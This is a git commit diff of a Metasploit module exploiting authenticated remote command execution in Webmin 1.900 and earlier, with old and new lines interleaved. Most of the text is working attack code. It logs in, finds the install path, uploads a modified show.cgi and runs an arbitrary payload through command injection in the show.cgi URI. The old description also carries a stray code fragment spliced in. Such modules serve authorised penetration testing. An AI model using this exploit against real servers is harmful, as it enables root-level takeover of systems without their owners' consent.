Bug and style fixes

webmin RCE
master
Jacob Robles 2019-03-12 10:54:43 -05:00
parent b49b7ca9db
commit bd1cd7fae8
No known key found for this signature in database
GPG Key ID: 3EC9F18F2B12401C
1 changed files with 96 additions and 129 deletions

View File

@ -15,14 +15,16 @@ class MetasploitModule < Msf::Exploit::Remote
'Description' => %q( 'Description' => %q(
This module exploits an arbitrary command execution vulnerability in Webmin This module exploits an arbitrary command execution vulnerability in Webmin
1.900 and lower versions. Any user authorized to the "Java file manager" 1.900 and lower versions. Any user authorized to the "Java file manager"
and "Upload and Download" fields, to execute arbitrary commands with root privileges. and "Upload and Download" fields can execute arbitrary commands with root
privileges.
In addition, if the 'Running Processes' (proc) privilege is set the user can In addition, if the 'Running Processes' (proc) privilege is set the user can
accurately determine directory upload to. Webmin application files can be accurately determine which directory to upload to. Webmin application files
written/overwritten, thus allowing RCE root. The module has been tested can be written/overwritten, which allows remote code execution. The module
successfully with Webmin 1900 over Debia'cookie' "redirect=1; testing=1; has been tested successfully with Webmin 1900 on Debian 4.9.18.
sid=#{session}"n 4.9.18.
Using GUESSUPLOAD attempts to use a default installation path in order to trigger the Using GUESSUPLOAD attempts to use a default installation path in order to
exploit. trigger the exploit.
), ),
'Author' => [ 'Author' => [
'AkkuS <Özkan Mustafa Akkuş>', # Vulnerability Discovery, Initial PoC module 'AkkuS <Özkan Mustafa Akkuş>', # Vulnerability Discovery, Initial PoC module
@ -31,6 +33,7 @@ class MetasploitModule < Msf::Exploit::Remote
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'References' => 'References' =>
[ [
['EDB', '46201'],
['URL', 'https://pentest.com.tr/exploits/Webmin-1900-Remote-Command-Execution.html'] ['URL', 'https://pentest.com.tr/exploits/Webmin-1900-Remote-Command-Execution.html']
], ],
'Privileged' => true, 'Privileged' => true,
@ -44,144 +47,112 @@ class MetasploitModule < Msf::Exploit::Remote
'RequiredCmd' => 'generic perl ruby python telnet' 'RequiredCmd' => 'generic perl ruby python telnet'
} }
}, },
'DefaultOptions' =>
{
'RPORT' => 10000,
'SSL' => true
},
'Platform' => 'unix', 'Platform' => 'unix',
'Arch' => ARCH_CMD, 'Arch' => ARCH_CMD,
'Targets' => [['Webmin <= 1.900', {}]], 'Targets' => [['Webmin <= 1.900', {}]],
'DisclosureDate' => 'Jan 17 2019', 'DisclosureDate' => 'Jan 17 2019',
'DefaultTarget' => 0) 'DefaultTarget' => 0)
) )
register_options( register_options [
[ OptBool.new('GUESSUPLOAD', [true, 'If no "proc" permissions exists use default path.', false]),
Opt::RPORT(10000),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptBool.new('GUESSUPLOAD', [true, "If no 'proc' permissions exists use default path.", false]),
OptString.new('USERNAME', [true, 'Webmin Username']), OptString.new('USERNAME', [true, 'Webmin Username']),
OptString.new('PASSWORD', [true, 'Webmin Password']) OptString.new('PASSWORD', [true, 'Webmin Password'])
], self.class ]
) end
def login
res = send_request_cgi({
'method' => 'POST',
'uri' => '/session_login.cgi',
'cookie' => 'testing=1',
'vars_post' => {
'page' => '',
'user' => datastore['USERNAME'],
'pass' => datastore['PASSWORD']
}
})
if res && res.code == 302 && res.get_cookies =~ /sid=(\w+)/
return $1
end
return nil unless res
''
end end
## ##
# Target and input verification # Target and input verification
## ##
def check def check
vprint_status("Attempting to login...") cookie = login
data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}" return CheckCode::Detected if cookie == ''
res = send_request_cgi( return CheckCode::Unknown if cookie.nil?
{
'method' => 'POST',
'uri' => "/session_login.cgi",
'cookie' => "testing=1",
'data' => data
}, 25
)
if res && res.code == 302 && res.get_cookies =~ /sid/ vprint_status('Attempting to execute...')
print_good "Login successful" command = "echo #{rand_text_alphanumeric(0..9)}"
session = res.get_cookies.split("sid=")[1].split(";")[0]
else
print_error "Service found, but login failed"
return Exploit::CheckCode::Detected
end
print_status("Attempting to execute...")
command = "echo #{rand_text_alphanumeric(rand(0..9))}"
res = send_request_cgi( res = send_request_cgi(
{ {
'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(5)}|#{command}|", 'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(5)}|#{command}|",
'cookie' => "sid=#{session}" 'cookie' => "sid=#{cookie}"
}, 25 }, 25
) )
if res && res.code == 200 && res.message =~ /Document follows/ if res && res.code == 200 && res.message =~ /Document follows/
return Exploit::CheckCode::Vulnerable return CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end end
CheckCode::Safe
end end
## ##
# Exploiting phase # Exploiting phase
## ##
def exploit def exploit
peer = "#{rhost}:#{rport}" cookie = login
print_status("Attempting to login...") if cookie == '' || cookie.nil?
data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}" fail_with(Failure::Unknown, 'Failed to retrieve session cookie')
res = send_request_cgi(
{
'method' => 'POST',
'uri' => "/session_login.cgi",
'cookie' => "testing=1",
'data' => data
}, 25
)
if res && res.code == 302 && res.get_cookies =~ /sid/
session = res.get_cookies.scan(/sid\=(\w+)\;*/).flatten[0] || ''
if session && !session.empty?
print_good "Login successfully"
else
print_error "Authentication failed"
return
end
else
print_error "Authentication failed"
return
end end
print_good("Session cookie: #{cookie}")
## ##
# Directory and SSL verification for referer # Directory and SSL verification for referer
## ##
ps = datastore['SSL'].to_s phost = ssl ? 'https://' : 'http://'
guess_dir = datastore['GUESSUPLOAD'].to_s phost << peer
if ps == "true" print_status("Target URL => #{phost}")
ssl = "https://"
else
ssl = "http://"
end
print_status("Target URL => #{ssl}#{peer}") res = send_request_raw(
'method' => 'POST',
res1 = send_request_raw( 'uri' => '/proc/index_tree.cgi',
'method' => "POST",
'uri' => "/proc/index_tree.cgi?",
'headers' => 'headers' =>
{ {
'Referer' => "#{ssl}#{peer}/sysinfo.cgi?xnavigation=1" 'Referer' => "#{phost}/sysinfo.cgi?xnavigation=1"
}, },
'cookie' => "redirect=1; testing=1; sid=#{session}" 'cookie' => "redirect=1; testing=1; sid=#{cookie}"
) )
unless res && res.code == 200
fail_with(Failure::Unknown, 'Request failed')
end
if res1 && res1.code == 200 && res1.body =~ /Running Processes/ print_status 'Searching for directory to upload...'
print_status "Searching for directory to upload..." if res.body =~ /Running Processes/ && res.body =~ /[^ ] ([\/\w]+)miniserv\.pl/
stpdir = directory = $1
res1 elsif datastore['GUESSUPLOAD']
.body.scan(/perl.+miniserv.pl/) print_warning('Could not determine upload directory. Using /usr/share/webmin/')
.map { |s| s.split("perl ").last } directory = '/usr/share/webmin/'
.map { |d| d.split("miniserv").first }
.map { |d| d.split("miniserv").first }
if !stpdir[0].nil?
dir = stpdir[0] + "file"
print_good("Directory to upload => #{dir}")
elsif guess_dir == "true" && stpdir[0].nil?
array = ["/usr/share/webmin/file"]
array.each do |i|
print_good("Attempting: " + i)
upload_attempt(ssl, peer, session, i)
end
else else
print_error("Running processed check failed, not guessing uploads. Quitting.") print_error('Failed to determine webmin share directory')
return print_error('Set GUESSUPLOAD to attempt upload to a default location')
end
else
print_error "No access to processes or no upload directory found."
return return
end end
directory << 'file'
upload_attempt(phost, cookie, directory)
## ##
# Loading phase of the vulnerable file # Loading phase of the vulnerable file
@ -189,23 +160,20 @@ class MetasploitModule < Msf::Exploit::Remote
## ##
print_status("Attempting to execute the payload...") print_status("Attempting to execute the payload...")
command = payload.encoded command = payload.encoded
res = send_request_cgi( res = send_request_cgi({
{ 'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(0..9)}|#{command}|",
'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(rand(0..9))}|#{command}|", 'cookie' => "sid=#{cookie}"
'cookie' => "sid=#{session}" })
}, 25
)
if res && res.code == 200 && res.message =~ /Document follows/ if res && res.code == 200 && res.message =~ /Document follows/
print_good "Payload executed successfully" print_good 'Payload executed successfully'
else else
print_error "Error executing the payload" print_error 'Error executing the payload'
return
end end
end end
def upload_attempt(ssl, peer, session, dir) def upload_attempt(phost, cookie, dir)
boundary = Rex::Text.rand_text_alphanumeric(29) boundary = rand_text_alphanumeric(29)
data2 = "-----------------------------#{boundary}\r\n" data2 = "-----------------------------#{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"upload0\"; filename=\"show.cgi\"\r\n" data2 << "Content-Disposition: form-data; name=\"upload0\"; filename=\"show.cgi\"\r\n"
@ -258,39 +226,38 @@ class MetasploitModule < Msf::Exploit::Remote
data2 << "print \"Content-length: \",length($_[0]),\"\\n\\n\";\nprint $_[0];\nexit;\n}\n\n" data2 << "print \"Content-length: \",length($_[0]),\"\\n\\n\";\nprint $_[0];\nexit;\n}\n\n"
data2 << "sub ok_exit\n{\nprint \"Content-type: text/plain\\n\\n\";\nprint \"\\n\";\nexit;\n}" data2 << "sub ok_exit\n{\nprint \"Content-type: text/plain\\n\\n\";\nprint \"\\n\";\nexit;\n}"
data2 << "\r\n\r\n" data2 << "\r\n\r\n"
data2 << "-----------------------------{boundary}\r\n" data2 << "-----------------------------#{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"dir\"\r\n\r\n#{dir}\r\n" data2 << "Content-Disposition: form-data; name=\"dir\"\r\n\r\n#{dir}\r\n"
data2 << "-----------------------------{boundary}\r\n" data2 << "-----------------------------#{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"user\"\r\n\r\nroot\r\n" data2 << "Content-Disposition: form-data; name=\"user\"\r\n\r\nroot\r\n"
data2 << "-----------------------------{boundary}\r\n" data2 << "-----------------------------#{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"group_def\"\r\n\r\n1\r\n" data2 << "Content-Disposition: form-data; name=\"group_def\"\r\n\r\n1\r\n"
data2 << "-----------------------------{boundary}\r\n" data2 << "-----------------------------#{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"group\"\r\n\r\n\r\n" data2 << "Content-Disposition: form-data; name=\"group\"\r\n\r\n\r\n"
data2 << "-----------------------------{boundary}\r\n" data2 << "-----------------------------#{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"zip\"\r\n\r\n0\r\n" data2 << "Content-Disposition: form-data; name=\"zip\"\r\n\r\n0\r\n"
data2 << "-----------------------------{boundary}\r\n" data2 << "-----------------------------#{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"email_def\"\r\n\r\n1\r\n" data2 << "Content-Disposition: form-data; name=\"email_def\"\r\n\r\n1\r\n"
data2 << "-----------------------------{boundary}\r\n" data2 << "-----------------------------#{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"ok\"\r\n\r\nUpload\r\n" data2 << "Content-Disposition: form-data; name=\"ok\"\r\n\r\nUpload\r\n"
data2 << "-----------------------------{boundary}--\r\n" data2 << "-----------------------------#{boundary}--\r\n"
res2 = send_request_raw( res2 = send_request_raw(
'method' => "POST", 'method' => 'POST',
'uri' => "/updown/upload.cgi?id=154739243511", 'uri' => "/updown/upload.cgi?id=#{rand_text_numeric(8..12)}",
'data' => data2, 'data' => data2,
'headers' => 'headers' =>
{ {
'Content-Type' => 'multipart/form-data; boundary=---------------------------{boundary}', 'Content-Type' => "multipart/form-data; boundary=---------------------------#{boundary}",
'Referer' => "#{ssl}#{peer}/updown/?xnavigation=1" 'Referer' => "#{phost}/updown/?xnavigation=1"
}, },
'cookie' => "redirect=1; testing=1; sid=#{session}" 'cookie' => "redirect=1; testing=1; sid=#{cookie}"
) )
if res2 && res2.code == 200 && res2.body =~ /Saving file/ if res2 && res2.code == 200 && res2.body =~ /Saving file/
print_good "Vulnerable show.cgi file was successfully uploaded." print_good 'Vulnerable show.cgi file was successfully uploaded.'
else else
print_error "Upload failed." print_error 'Upload failed.'
return
end end
end end
end end